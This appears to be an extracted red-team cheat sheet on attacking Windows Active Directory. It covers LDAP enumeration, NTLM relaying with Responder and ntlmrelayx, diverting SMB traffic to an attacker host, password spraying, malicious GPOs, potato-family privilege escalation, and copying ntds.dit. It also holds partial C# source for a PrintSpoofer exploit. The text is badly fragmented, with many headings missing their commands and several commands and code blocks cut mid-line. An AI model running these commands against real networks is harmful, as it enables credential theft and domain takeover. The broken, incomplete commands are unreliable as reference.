ces\NTDS\Parameters\
HKLM\System\CurrentControlSet\Servi
LdapEnforceChannelBinding
ces\NTDS\Parameters\
Tools
RSAT-AD-PowerShell
https://github.com/samratashok/ADModule/blob/master/Import-ActiveDirectory.ps1
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/ADModuleImport.ps1
Example Queries
List disabled users (when searching for users use objectCategory + objectClass filters):
List accounts with SPN(s) set (aka kerberoastable) and which are also in Protected Users group:
List users marked as trusted for delegation ( TRUSTED_FOR_DELEGATION UAC value is 524288 ):
Find all user's whose name starts with John, which are not part of Fired and Contractors OU, and print all
groups that they are members of (including nested groups):
PS > Get-ADUser -Filter {name -like "John*"} | ? {$_.DistinguishedName -notlike "*Fired*" -and
PS > Get-ADObject -Filter {isDeleted -eq $true -and name -ne "Deleted Objects"} -IncludeDelete
PS > Get-ADObject -LDAPFilter "(objectClass=User)" -SearchBase '<DISTINGUISHED_NAME>' -Include
ldap3 (Python)
Check if anonymous bind is allowed:
ldap-utils
ldapsearch
https://malicious.link/post/2022/ldapsearch-reference/
Install:
Basic syntax:
Extract data for the whole domain catalog and then grep your way through:
SASL GSSAPI (Kerberos) authentication (there should be both A and PTR DNS records of the DC for this
to work):
$ getTGT.py megacorp.local/snovvcrash:'Passw0rd!'
$ export KRB5CCNAME=`pwd`/snovvcrash.ccache
$ ldapsearch -H ldap://DC01.megacorp.local:389 -Y GSSAPI -s sub -b "DC=megacorp,DC=local" | te
ldapmodify
spoof.ldiff
dn: CN=FAKEMACHINE,CN=Computer,DC=megacorp,DC=local
changetype: modify
delete: servicePrincipalName
-
replace: dNSHostName
dNSHostName: dc01.megacorp.local
windapsearch
https://github.com/ropnop/windapsearch
https://github.com/snovvcrash/windapsearch
Enumerate users in Protected Users group which are also trusted for unconstrained delegation:
Query LDAP for all domain computer accounts (+ try to resolve their IPs with -r flag) and save results into
a csv file:
go-windapsearch
https://github.com/ropnop/go-windapsearch
Find user accounts which require smart card authentication ( SMARTCARD_REQUIRED UAC value is
262144 ):
ldapsearch-ad
https://github.com/yaap7/ldapsearch-ad
https://github.com/micahvandeusen/gMSADumper
ldeep
https://github.com/franc-pentest/ldeep
Nmap NSE
LDAPmonitor
https://github.com/p0dalirius/LDAPmonitor
BOFHound
https://www.fortalicesolutions.com/posts/bofhound-granularize-your-active-directory-reconnaissance-
game
https://github.com/fortalice/bofhound
https://github.com/fortalice/pyldapsearch
NTLM
NT / LM Hashes
https://blog.redforce.io/windows-authentication-and-attacks-part-1-ntlm/
Calculate NTLM
https://www.browserling.com/tools/ntlm-hash
With Python:
https://github.com/lgandx/Responder/blob/eb449bb061a8eb3944b96b157de73dea444ec46b/servers/S
MB.py#L149
https://ru.wikipedia.org/wiki/NTLMv2#NTLMv2
https://www.ivoidwarranties.tech/posts/pentesting-tuts/responder/cheatsheet/
Andrei Miroshnikov. Windows Security Monitoring: Scenarios and Patterns, Part III, pp. 330-333.
<Username>:<Domain>:<LMv1_Response>:<NTv1_Response>:<Server_Challenge>
<Username>:<Domain>:<Server_Challenge>:<LMv2_Response>:<NTv2_Response>
https://reqrypt.org/windivert.html
https://github.com/basil00/Divert
https://googleprojectzero.blogspot.com/2021/08/understanding-network-access-windows-app.html
DivertTCPconn
https://github.com/Arno0x/DivertTCPconn
Divert incoming SMB traffic on Victim to Victim's local port 8445, sent it through a reverse-forwarded port
(meterpreter session must be elevated) to Attacker's local 445 port and capture the hashes with Responder:
StreamDivert
https://github.com/jellever/StreamDivert
Divert all inbound TCP connections to port 445 (SMB) coming from 192.168.1.11 to 10.10.13.37 port 445:
Cmd > powershell -c "Add-Content conf.txt 'tcp < 445 192.168.1.11 -> 10.10.13.37 445'"
Cmd > .\StreamDivert.exe .\conf.txt -f -v
NTLM Relay
https://en.hackndo.com/ntlm-relay/
https://blog.fox-it.com/2017/05/09/relaying-credentials-everywhere-with-ntlmrelayx/
https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
https://www.secureauth.com/blog/playing-with-relayed-credentials/
https://www.secureauth.com/blog/we-love-relaying-credentials-a-technical-guide-to-relaying-credentials-
everywhere/
https://intrinium.com/smb-relay-attack-tutorial/
https://www.sans.org/blog/smb-relay-demystified-and-ntlmv2-pwnage-with-python/
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-
minutes.html
https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire
https://www.blackhillsinfosec.com/an-smb-relay-race-how-to-exploit-llmnr-and-smb-message-signing-
for-fun-and-profit/
https://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket/
https://luemmelsec.github.io/Relaying-101/
https://www.thehacker.recipes/active-directory-domain-services/movement/lm-and-ntlm/relay
https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/
https://www.fortalicesolutions.com/posts/keeping-up-with-the-ntlm-relay
https://offsec.almond.consulting/ldap-relays-for-initial-foothold-in-dire-situations.html
Generate relay list with cme and enumerate local admins when relaying:
Relay NTLM2 responses obtained from Responder's proxy authentication (Responder's HTTP must be
Off ):
$ ntlmrelayx.py -tf relay.txt -smb2support --no-wcf-server -wh attacker.local --http-port 3128
$ sudo ./Responder.py -I eth0 -frd -v -P
CVE-2019-1040-scanner
https://github.com/fox-it/cve-2019-1040-scanner/blob/master/scan.py
Relaying on Windows
meterpreter + SharpRelay
https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/
https://github.com/pkb1s/SharpRelay
Divert incoming SMB traffic from Victim to Attacker's local 445 port through an elevated meterpreter session
and relay it to Target via MSF SOCKS server.
1. Add a static route to the Target through the 1st meterpreter session:
3. Forward a reverse port 8445 on Victim to local port 445 on Attacker and start diverting incoming SMB
traffic on Victim to Victim's local 8445 port:
When ran once, the driver must be unloaded or the host rebooted before trying again. The fake
service can be deleted with a PowerShell command:
beacon + PortBender
https://github.com/praetorian-inc/PortBender
https://rastamouse.me/ntlm-relaying-via-cobalt-strike/
Set SOCKS server & port forwarding, upload WinDivert driver and configure redirection with PortBender:
Stop PortBender:
beacon> jobs
beacon> jobkill <JID>
beacon> kill <PID>
NTLMv1 Downgrade
https://github.com/NotMedic/NetNTLMtoSilverTicket
Client sends NTLMv1 response when LmCompatibilityLevel exists and is 2 or lower, which can be
downgraded to "NTLMv1 w/o SSP" when NtlmMinClientSec is 0x20 or lower:
Property Name Property Path
HKLM\SYSTEM\CurrentControlSet\Contr
LmCompatibilityLevel
ol\Lsa
HKLM\SYSTEM\CurrentControlSet\Contr
NtlmMinClientSec
ol\Lsa\MSV1_0
Check
Check with PowerShell:
Exploit
Authentication Coercion
Exploit with Responder with a known challenge of 1122334455667788 (see Authentication Coercion
to trigger callbacks):
ntlmv1-multi + crack.sh
https://crack.sh/netntlm/
https://crack.sh/get-cracking/
https://crack.sh/cracking-ntlmv1-w-ess-ssp/
https://github.com/evilmog/ntlmv1-multi
Password Spraying
Password Policy
Enumerate password policy in the domain:
Длительность блокировки
Lockout duration (minutes): 30
(минут):
https://specopssoft.com/blog/create-fine-grained-password-policy-active-directory/
https://pwsh.ru/fine-grained-password-policy-как-создать-детальную-политику/
Map FGPPs to the users they're being applied to (need admin privileges by default):
When it's critical not to cause a lockout on a user account with a FGPP applied, the safest
approach would be to exclude users with msDS-PSOApplied or msDS-ResultantPSO
properties populated (can be read by a regular user) from the spray list.
Check if exists:
https://wiki.porchetta.industries/smb-protocol/enumeration/enumerate-null-sessions
RID Cycling
If SMB null sessions are allowed on the DC, an adversary can get a list of all domain users via RID Cycling.
Another approach is to manually request all users via RPC ( $IPC share):
CrackMapExec:
rpcclient:
net:
smbclient (check):
enum4linux / enum4linux-ng:
nullinux:
$ nullinux.py 192.168.1.11
Authenticated
MSF
kerbrute
https://github.com/ropnop/kerbrute
https://github.com/urbanadventurer/username-anarchy
https://gist.github.com/superkojiman/11076951
Generate a wordlist of common usernames in an appropriate format and validate it against KDC (doesn't
cause accounts lock out):
pyKerbrute
https://github.com/3gstudent/pyKerbrute
$ python2 ADPwdSpray py 192 168 1 11 megacorp local users txt ntlmhash fc525c9683e8fe067095ba2
smartbrute
https://github.com/ShutdownRepo/smartbrute
$ smartbrute -v brute --delay 100 --no-enumeration -bU users.txt -bh <HASH_TO_SPRAY> kerberos
DomainPasswordSpray
https://github.com/dafthack/DomainPasswordSpray
Post Exploitation
Post Exploitation in Active Directory
GPOs
Identify the OU containing the VICTIM-PC object:
3. Remove Authenticated Users from Security Filtering and add VICTIM-PC there.
Usually, it takes between 90 and 120 minutes for a new GPO to be applied. Force it with:
Enable RDP
<POLICY_NAME>
Computer Configuration
Policies
Administrative Templates
Windows Components
Remote Desktop Services
Remote Desktop Session Host
Connections
Allow users to connect remotely using Remote Desktop Services
Enabled, OK
<POLICY_NAME>
Computer Configuration
Policies
Windows Settings
Security Settings
Windows Defender Firewall with Advanced Security
Inbound Rules
(right-click) New Rule
Predefined (Remote Desktop)
Allow the connection, Finish
<POLICY_NAME>
Computer Configuration
Preferences
Control Panel Settings
Local Users and Groups
(right-click) New > Local Group
Group name (...)
Members (Add), OK
Apply, OK
<POLICY_NAME>
Computer Configuration
Policies
Administrative Templates
Windows Components
Remote Desktop Services
Remote Desktop Session Host
Connections
Set rules for remote control of Terminal Services user sessions
Enabled + Options (Full Control without user's permission), OK
<POLICY_NAME>
Computer Configuration
Policies
Preferences
Control Panel Settings
Scheduled Tasks
(right-click) New > Immediate Task (At least Windows 7)
How to Hack Like a Pornstar / Best hacking books for aspiring hackers - Real life hacking scenarios
If you find yourself in a situation when you're already a domain admin and you need to access a locked-
down domain computer (no RDP/WinRM, no SMB shares, no owned local admins, etc.), creating an evil
GPO may help.
Create a GPO using PowerShell (will trigger a command when the victim user logs in):
Shadow RDP
https://swarm.ptsecurity.com/remote-desktop-services-shadowing/
https://darkbyte.net/autordpwn-la-guia-definitiva/
https://github.com/JoelGMSec/AutoRDPwn
Enable Shadow RDP via group policies and connect to an active session on the target machine:
How to Hack Like a Pornstar / Best hacking books for aspiring hackers - Real life hacking scenarios
An example PowerShell script to execute commands as a local admin on all domain computers pulling
LAPS passwords automatically:
ADComputersCmd.ps1
# Save with Encoding "UTF-8 with BOM"
[System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8
$ErrorActionPreference = "Stop"
do {
Write-Host -ForegroundColor Green "[*] Waiting for script to f
Start-Sleep -Seconds 2
} until ((Get-WmiObject -Class Win32_Process -Filter "ProcessId=$proc
PrivExchange
CVE-2019-0686, CVE-2019-0724
https://github.com/dirkjanm/PrivExchange
https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/
Check:
Exploit:
Privileges Abuse
https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-
escalation/
https://github.com/hatRiot/token-priv
https://github.com/gtworek/Priv2Admin
SeBackupPrivilege
SeBackupPrivilege
https://github.com/giuliano108/SeBackupPrivilege
https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#priv-svc_backup--administrator
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege W:\Windows\NTDS\ntds.dit C:\Users\snovvcrash\Documents\ntds.dit -Ov
download ntds.dit
robocopy
https://0xdf.gitlab.io/2020/09/19/htb-multimaster.html#read-as-system
SeImpersonatePrivilege
Restore Privileges
https://itm4n.github.io/localservice-privileges/
Potatoes
https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html
https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all
RottenPotato
https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-
system/
https://github.com/foxglovesec/RottenPotato
JuicyPotato
https://ohpe.it/juicy-potato/
https://ohpe.it/juicy-potato/CLSID/
https://github.com/ohpe/juicy-potato/releases
https://github.com/ivanitlearning/Juicy-Potato-x86/releases
...Using nc.exe...
Cmd > .\j.exe -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820} -l 1337 -p C:\Windows\System32\sp
RoguePotato
https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/
https://github.com/antonioCoco/RoguePotato/releases
Redirect traffic that comes to 135 port on Attacker ( 10.10.13.37 ) with socat back to the Victim
( 192.168.1.11 ) on port 9999 (RogueOxidResolver is running locally on port 9999 on Victim):
Trigger the potato to run a binary with high privileges (don't forget to start a listener if sending a reverse
shell):
https://github.com/antonioCoco/RemotePotato0/releases
GenericPotato
https://micahvandeusen.com/the-power-of-seimpersonation/
https://github.com/micahvandeusen/GenericPotato
EfsPotato
https://github.com/zcgonvh/EfsPotato
Tools
SweetPotato
https://github.com/CCob/SweetPotato
MultiPotato
https://github.com/S3cur3Th1sSh1t/MultiPotato
PrintSpoofer
https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
https://github.com/itm4n/PrintSpoofer
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
BadPotato.ps1
Exploit:
C# Implementation
https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp
https://github.com/S3cur3Th1sSh1t/NamedPipePTH/blob/main/Resources/PipeServerImpersonate/Pipe
Server.cpp
https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH/blob/16f8f7a90a543a0f5a3f70d3d02e8f1202
73e6ed/SharpNamedPipePTH/PipeServerImpersonate.cs
https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/PrintSpoofer.NET
SharpPrintSpoofer.cs
using System;
using System.Text;
using System.Security.Principal;
using System.Runtime.InteropServices;
namespace SharpPrintSpoofer
{
class Program
{
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
[StructLayout(LayoutKind.Sequential)]
public struct SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public int Attributes;
}
[DllImport("advapi32.dll")]
static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSe
[DllImport("kernel32.dll")]
static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);
[DllImport("advapi32.dll")]
static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll")]
static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);
// Prepare a new permission set for the pipe (Allowed GenercAll for Everyone)
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
ConvertStringSecurityDescriptorToSecurityDescriptor(
"D:(A;OICI;GA;;;WD)",
1,
out sa.lpSecurityDescriptor,
IntPtr.Zero);
hToken,
1, // TokenUser
IntPtr.Zero,
tokenInfLength,
out tokenInfLength);
// if not execInteractively
uint dwLogonFlags = 0;
uint dwCreationFlags = 0x8000000; // CREATE_NO_WINDOW
IntPtr lpEnvironment = IntPtr.Zero;
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (execInteractively)
{
dwLogonFlags = 1; // LOGON_WITH_PROFILE
dwCreationFlags = 0x400; // CREATE_UNICODE_ENVIRONMENT
CreateEnvironmentBlock(out lpEnvironment, hToken, false);
si.lpDesktop = @"WinSta0\Default";
}
// Create a new process based on execCommand (binary and args) with the impersonat
Console.WriteLine($"[*] Executing command: {execCommand}");
CreateProcessWithTokenW(
hSystemToken,
dwLogonFlags,
null,
execCommand,
dwCreationFlags,
lpEnvironment,
null, // sbSystemDir.ToString(),
ref si,
out pi);
}
}
}
RID Cycling
Relative Identifier
https://www.trustedsec.com/blog/new-tool-release-rpc_enum-rid-cycling-attack/
Perform RID cycling attack against a DC with SMB null sessions allowed with lookupsid.py:
With CrackMapExec:
Roasting
ASREPRoasting
Show domain users with DONT_REQ_PREAUTH flag set:
Normal
GetNPUsers.py
https://vbscrub.com/2020/02/22/impackets-getnpusers-script-explained/
ASREPRoast.ps1
https://github.com/HarmJ0y/ASREPRoast
Rubeus
Targeted
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#asreproast
"Given GenericWrite/GenericAll DACL rights over a target, we can modify most of the user's attributes.
We can change a victim's userAccountControl to not require Kerberos preauthentication, grab the user's
crackable AS-REP, and then change the setting back." (@harmj0y, ref)
Kerberoasting
http://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/
https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
https://github.com/GhostPack/Rubeus#kerberoast
https://docs.microsoft.com/ru-ru/archive/blogs/openspecification/windows-configurations-for-kerberos-
supported-encryption-type
https://swarm.ptsecurity.com/kerberoasting-without-spns/
https://habr.com/ru/post/650889/
https://m365internals.com/2021/11/08/kerberoast-with-opsec/
https://github.com/Luct0r/KerberOPSEC
https://redcanary.com/blog/marshmallows-and-kerberoasting/
Check msDS-SupportedEncryptionTypes attribute (if RC4 is enabled):
Normal
GetUserSPNs.py
In case LDAP(S) ports are blocked, kerberoasting can be performed via the Global Catalog port
(3268/TCP). For that purposes change ldap:// scheme to gc:// .
Check if there're any brutable kerberoastable users with a path to high value targets having got cracked
NTDS (useful when writing a report):
$ cat ~/ws/enum/tgsrep.in | grep -Pho 'krb5tgs\$23\$.*?\$' | cut -d'*' -f2 | cut -d'$' -f1 > t
$ for acc in `cat t`; do grep -ai $acc ~/ws/loot/ntds.cracked | cut -d: -f1 >> t2; done && rm
$ vi t2
...convert domain prefix to domain suffix (megacorp.local\svcsql -> [email protected])...
PowerView
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
Rubeus
https://github.com/GhostPack/Rubeus
beacon>
beacon> execute-assembly
execute-assembly ADSearch.exe --search "(&(sAMAccountType=805306368)(servicePrincipalN
Rubeus.exe kerberoast /format:hashcat /nowrap [/usetgtdeleg] [/user:s
Targeted
"We can execute 'normal' Kerberoasting instead: given modification rights on a target, we can change the
user's serviceprincipalname to any SPN we want (even something fake), Kerberoast the service ticket,
and then repair the serviceprincipalname value." (@harmj0y, ref)
https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-
requesting-rc4-encrypted-tgs-when-aes-is-enabled
https://vbscrub.com/tag/kerberos/
SCCM Abuse
System Center Configuration Manager
https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a
https://labs.nettitude.com/blog/introducing-malsccm/
https://www.hub.trimarcsecurity.com/post/push-comes-to-shove-exploring-the-attack-surface-of-sccm-
client-push-accounts
https://blog.xpnsec.com/unobfuscating-network-access-accounts/
Tools
https://github.com/Mayyhem/SharpSCCM
SMB
Server Message Block
Fingerprint
https://book.hacktricks.xyz/pentesting/pentesting-smb#smb-server-version
Enumerate SMB version for old versions of Samba (for security reasons modern clients will not initiate
connection with legacy protocols in use):
Mounting
Mount:
Status:
Unmount:
Linux
/etc/samba/smb.conf
[global]
map to guest = bad user
server role = standalone server
usershare allow guests = yes
smb ports = 445
[smb]
comment = Samba
path = /srv/smb
guest ok = yes
read only = no
browsable = yes
force user = nobody
Windows
https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer
https://github.com/blacklanternsecurity/MANSPIDER
https://github.com/mitchmoser/SharpShares
https://github.com/SnaffCon/Snaffler
https://github.com/punk-security/SMBeagle
https://github.com/p0dalirius/FindUncommonShares
Tools
rpcclient
$ rpcclient -N -L 127.0.0.1
smbclient
$ smbclient -N -L 127.0.0.1
$ smbclient -N '\\127.0.0.1\Data'
smbmap
$ smbmap -H 127.0.0.1
$ smbmap -H 127.0.0.1 -u anonymous
$ smbmap -H 127.0.0.1 -u '' -p ''
$ smbmap -H 127.0.0.1 -u snovvcrash -p 'Passw0rd!' -R ShareName
$ smbmap -H 127.0.0.1 -u snovvcrash -p 'Passw0rd!' -R ShareName -A .
RPC
Remote Procedure Call
https://github.com/p0dalirius/microsoft-rpc-fuzzing-tools
Tools
rpcclient
$ rpcclient -N 127.0.0.1
Token Manipulation
https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-
to-winlogon-exe-80696c8a73b
https://securitytimes.medium.com/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa
https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962
https://xret2pwn.github.io//Access-Token-Part0x01/
https://xret2pwn.github.io//Building-Token-Vault-Part0x02/
https://github.com/googleprojectzero/sandbox-attacksurface-analysis-
tools/blob/main/NtObjectManager/NtTokenFunctions.ps1
https://github.com/rweijnen/Posh-Snippets/blob/master/DCOM-FixUp.ps1
https://github.com/dievus/msImpersonate
https://github.com/magnusstubman/tokenduplicator
Tokenvator
https://www.netspi.com/blog/technical/adversary-simulation/tokenvator-a-tool-to-elevate-privilege-using-
windows-tokens/
https://www.netspi.com/blog/technical/adversary-simulation/tokenvator-release-2/
https://github.com/0xbadjuju/Tokenvator
SharpImpersonation
https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/
https://github.com/S3cur3Th1sSh1t/SharpImpersonation
Koh
https://posts.specterops.io/koh-the-token-stealer-41ca07a40ed6
https://github.com/GhostPack/Koh
User Hunt
http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
https://www.slideshare.net/harmj0y/i-hunt-sys-admins-20
Sessions Enum
http://www.harmj0y.net/blog/powershell/powershell-and-win32-api-access/
http://www.harmj0y.net/blog/powershell/powerquinsta/
Derivative Local Admins
http://www.harmj0y.net/blog/redteaming/local-group-enumeration/
https://medium.com/@sixdub/derivative-local-admin-cdd09445aac8
https://wald0.com/?p=14
http://www.offensiveops.io/tools/bloodhound-working-with-results/
Logon Events
https://github.com/Mr-
Un1k0d3r/RedTeamCSharpScripts/blob/5175f64c111ffcc13250e3cf818f05ca46654af5/wmiutility.cs#L1
94
Search for IPs from where the user of interest logged on to current machine (event 4624):
WSUS
Windows Server Update Services
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus
HTTP MitM
https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-
Enterprise-Via-Windows-Update.pdf
https://github.com/GoSecure/pywsus
